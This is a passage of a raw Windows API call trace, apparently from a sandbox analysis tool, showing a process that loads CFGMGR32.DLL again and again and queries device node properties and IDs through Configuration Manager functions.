[0245.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.834] malloc (_Size=0x18) returned 0x20abc281e40 [0245.835] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0245.839] malloc (_Size=0x48) returned 0x20abc27cf80 [0245.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e4c9e27, dwHighDateTime=0x1d9eb0c)) [0245.839] SetEvent (hEvent=0x248) returned 1 [0245.845] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.845] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.850] malloc (_Size=0x18) returned 0x20abc281f60 [0245.850] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x38, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0245.851] malloc (_Size=0x48) returned 0x20abc27cf80 [0245.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4e4c9e27, dwHighDateTime=0x1d9eb0c)) [0245.851] SetEvent (hEvent=0x248) returned 1 [0245.858] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.858] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.863] malloc (_Size=0x18) returned 0x20abc282080 [0245.864] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x38, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0245.864] malloc (_Size=0x48) returned 0x20abc27cf80 [0245.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4e4f160e, dwHighDateTime=0x1d9eb0c)) [0245.865] SetEvent (hEvent=0x248) returned 1 [0245.983] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.983] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.987] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.987] malloc (_Size=0x18) returned 0x20abc281f80 [0245.988] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0245.989] malloc (_Size=0x48) returned 0x20abc27cf80 [0245.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e621222, dwHighDateTime=0x1d9eb0c)) [0245.989] SetEvent (hEvent=0x248) returned 1 [0245.998] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.998] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.001] malloc (_Size=0x18) returned 0x20abc281c20 [0246.002] CM_Get_Device_IDA (in: dnDevInst=0x39, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2918&SUBSYS_11001AF4&REV_02\\3&11583659&0&F8") returned 0x0 [0246.002] malloc (_Size=0x48) returned 0x20abc27cf80 [0246.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4e64860a, dwHighDateTime=0x1d9eb0c)) [0246.002] SetEvent (hEvent=0x248) returned 1 [0246.006] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.006] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.010] malloc (_Size=0x18) returned 0x20abc281c20 [0246.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0246.011] malloc (_Size=0x124) returned 0x20abc286870 [0246.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0246.012] free (_Block=0x20abc286870) [0246.012] malloc (_Size=0x48) returned 0x20abc27cf80 [0246.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4e66dd25, dwHighDateTime=0x1d9eb0c)) [0246.013] SetEvent (hEvent=0x248) returned 1 [0246.017] malloc (_Size=0x18) returned 0x20abc2819a0 [0246.017] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0246.017] free (_Block=0x20abc2819a0) [0246.017] malloc (_Size=0x18) returned 0x20abc282000 [0246.017] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0246.017] free (_Block=0x20abc282000) [0246.017] malloc (_Size=0x18) returned 0x20abc2819a0 [0246.017] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0246.017] free (_Block=0x20abc2819a0) [0246.018] malloc (_Size=0x18) returned 0x20abc281c20 [0246.018] SafeArrayPutElement (psa=0x20abbaf16a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0246.018] free (_Block=0x20abc281c20) [0246.018] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0246.018] SafeArrayGetDim (psa=0x20abbaf16a0) returned 0x1 [0246.018] SafeArrayGetLBound (in: psa=0x20abbaf16a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0246.018] SafeArrayGetUBound (in: psa=0x20abbaf16a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0246.018] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0246.018] SafeArrayGetDim (psa=0x20abbaf16a0) returned 0x1 [0246.018] SafeArrayGetUBound (in: psa=0x20abbaf16a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0246.018] SafeArrayGetElemsize (psa=0x20abbaf16a0) returned 0x8 [0246.019] SafeArrayGetElement (in: psa=0x20abbaf16a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0246.019] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.020] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.020] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.020] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0246.021] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0246.021] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0246.023] malloc (_Size=0xd8) returned 0x20abc284e70 [0246.023] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0246.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0246.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0246.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0246.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0246.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0246.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0246.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0246.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0246.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0246.149] malloc (_Size=0x18) returned 0x20abc281fa0 [0246.150] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0246.150] malloc (_Size=0x10e) returned 0x20abc286870 [0246.150] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0246.152] free (_Block=0x20abc286870) [0246.152] malloc (_Size=0x48) returned 0x20abc2a8190 [0246.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4e7c50e2, dwHighDateTime=0x1d9eb0c)) [0246.152] SetEvent (hEvent=0x248) returned 1 [0246.155] malloc (_Size=0x18) returned 0x20abc281ee0 [0246.155] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0246.155] free (_Block=0x20abc281ee0) [0246.155] malloc (_Size=0x18) returned 0x20abc281fe0 [0246.156] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0246.156] free (_Block=0x20abc281fe0) [0246.156] malloc (_Size=0x18) returned 0x20abc281ee0 [0246.156] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0246.156] free (_Block=0x20abc281ee0) [0246.156] malloc (_Size=0x18) returned 0x20abc281b20 [0246.156] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0246.156] free (_Block=0x20abc281b20) [0246.156] malloc (_Size=0x18) returned 0x20abc281b40 [0246.156] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0246.156] free (_Block=0x20abc281b40) [0246.156] malloc (_Size=0x18) returned 0x20abc281da0 [0246.156] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0246.156] free (_Block=0x20abc281da0) [0246.156] malloc (_Size=0x18) returned 0x20abc281d20 [0246.156] SafeArrayPutElement (psa=0x20abbaf1c20, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0246.156] free (_Block=0x20abc281d20) [0246.157] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cbf0 [0246.157] SafeArrayGetDim (psa=0x20abbaf1c20) returned 0x1 [0246.157] SafeArrayGetLBound (in: psa=0x20abbaf1c20, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0246.157] SafeArrayGetUBound (in: psa=0x20abbaf1c20, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0246.157] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0246.157] SafeArrayGetDim (psa=0x20abbaf1c20) returned 0x1 [0246.157] SafeArrayGetUBound (in: psa=0x20abbaf1c20, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0246.157] SafeArrayGetElemsize (psa=0x20abbaf1c20) returned 